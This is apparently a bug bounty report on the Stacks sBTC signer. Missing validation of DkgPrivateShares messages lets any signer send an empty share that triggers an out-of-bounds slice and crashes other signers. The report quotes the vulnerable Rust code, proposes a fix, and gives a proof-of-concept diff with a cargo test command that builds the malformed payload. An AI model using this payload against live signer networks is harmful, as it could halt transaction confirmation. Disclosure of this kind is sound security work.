#37814 [BC-High] Signers can crash other signers by sending an invalid `DkgPrivateShares` due to mis
Submitted on Dec 16th 2024 at 16:26:55 UTC by @n4nika for Attackathon | Stacks
Report ID: #37814
Report Type: Blockchain/DLT
Report severity: High
Target: https://github.com/stacks-network/sbtc/tree/immunefi_attackaton_0.9/signer
Impacts:
Network not being able to confirm new transactions (total network shutdown)
Description
Summary
Signers do not verify received DkgPrivateShares
payloads enough, allowing any signer to send such a payload with a share
containing an empty bytes
object, which will cause the signer to crash due to an OOB read in the wsts
library.
Finding Description
When a signer receives a DkgPrivateShares
message, they process the received message without doing much verification of the message:
transaction_signer.rs::handle_wsts_message
WstsNetMessage::DkgPrivateShares(dkg_private_shares) => {
tracing::info!(
signer_id = %dkg_private_shares.signer_id,
"handling DkgPrivateShares"
);
let public_keys = match self.wsts_state_machines.get(&msg.txid) {
Some(state_machine) => &state_machine.public_keys,
None => return Err(Error::MissingStateMachine),
};
let signer_public_key = match public_keys.signers.get(&dkg_private_shares.signer_id)
{
Some(key) => PublicKey::from(key),
None => return Err(Error::MissingPublicKey),
};
if signer_public_key != msg_public_key {
return Err(Error::InvalidSignature);
}
self.relay_message(msg.txid, &msg.inner, bitcoin_chain_tip)
.await?;
}
In relay_message
, the msg.inner
gets passed to process
:
async fn relay_message(
&mut self,
txid: bitcoin::Txid,
msg: &WstsNetMessage,
bitcoin_chain_tip: &model::BitcoinBlockHash,
) -> Result<(), Error> {
let Some(state_machine) = self.wsts_state_machines.get_mut(&txid) else {
tracing::warn!("missing signing round");
return Ok(());
};
let outbound_messages = state_machine.process(msg).map_err(Error::Wsts)?;
// [...]
}
After a few steps, this then calls wsts::dkg_private_shares
which calls wsts::decrypt
:
pub fn decrypt(key: &[u8; 32], data: &[u8]) -> Result<Vec<u8>, AesGcmError> {
let nonce_vec = data[..AES_GCM_NONCE_SIZE].to_vec();
let cipher_vec = data[AES_GCM_NONCE_SIZE..].to_vec();
let nonce = Nonce::from_slice(&nonce_vec);
let cipher = Aes256Gcm::new(key.into());
cipher.decrypt(nonce, cipher_vec.as_ref())
}
Here key
and data
are passed and taken from the DkgPrivateShares
message without validation. Since there is no validation, the slicings will cause the program to crash since it accesses OOB memory.
Impact
Since DkgPrivateShares
messages are accepted by any signer and not only the coordinator, this allows ANY signer in the signer set to crash all other signers, causing a complete network shutdown.
Mitigation
Consider verifying the validity of received wsts payloads either in the signer itself or the wsts
library.
Proof of Concept
PoC
In this PoC I simulate sending such a malformed payload.
Please apply the following diff and execute the test with cargo test --package signer --test integration -- transaction_coordinator::sign_bitcoin_transaction --exact --show-output --ignored --nocapture
. This will crash at <PATH>/.cargo/git/checkouts/wsts-deb3c7c6853b6eab/ebd7d77/src/util.rs:66:25
.
diff --git a/signer/src/transaction_signer.rs b/signer/src/transaction_signer.rs
index e5aa9575..662a19c1 100644
--- a/signer/src/transaction_signer.rs
+++ b/signer/src/transaction_signer.rs
@@ -613,7 +613,25 @@ where
if signer_public_key != msg_public_key {
return Err(Error::InvalidSignature);
}
- self.relay_message(msg.txid, &msg.inner, bitcoin_chain_tip)
+
+ let mut msg_copy = msg.clone();
+
+ let out = match msg_copy.inner {
+ wsts::net::Message::DkgPrivateShares(mut msg) => {
+ for (id, second) in msg.shares.clone() {
+ for (key, bytes) in second {
+ let mut reference = msg.shares[0].1.get_mut(&key).unwrap();
+ let mut vec: Vec<u8> = Vec::new();
+ *reference = vec;
+ break;
+ }
+ }
+ wsts::net::Message::DkgPrivateShares(msg)
+ },
+ _ => {msg_copy.inner}
+ };
+
+ self.relay_message(msg.txid, &out, bitcoin_chain_tip)
.await?;
}
WstsNetMessage::DkgEndBegin(_) => {
Last updated
Was this helpful?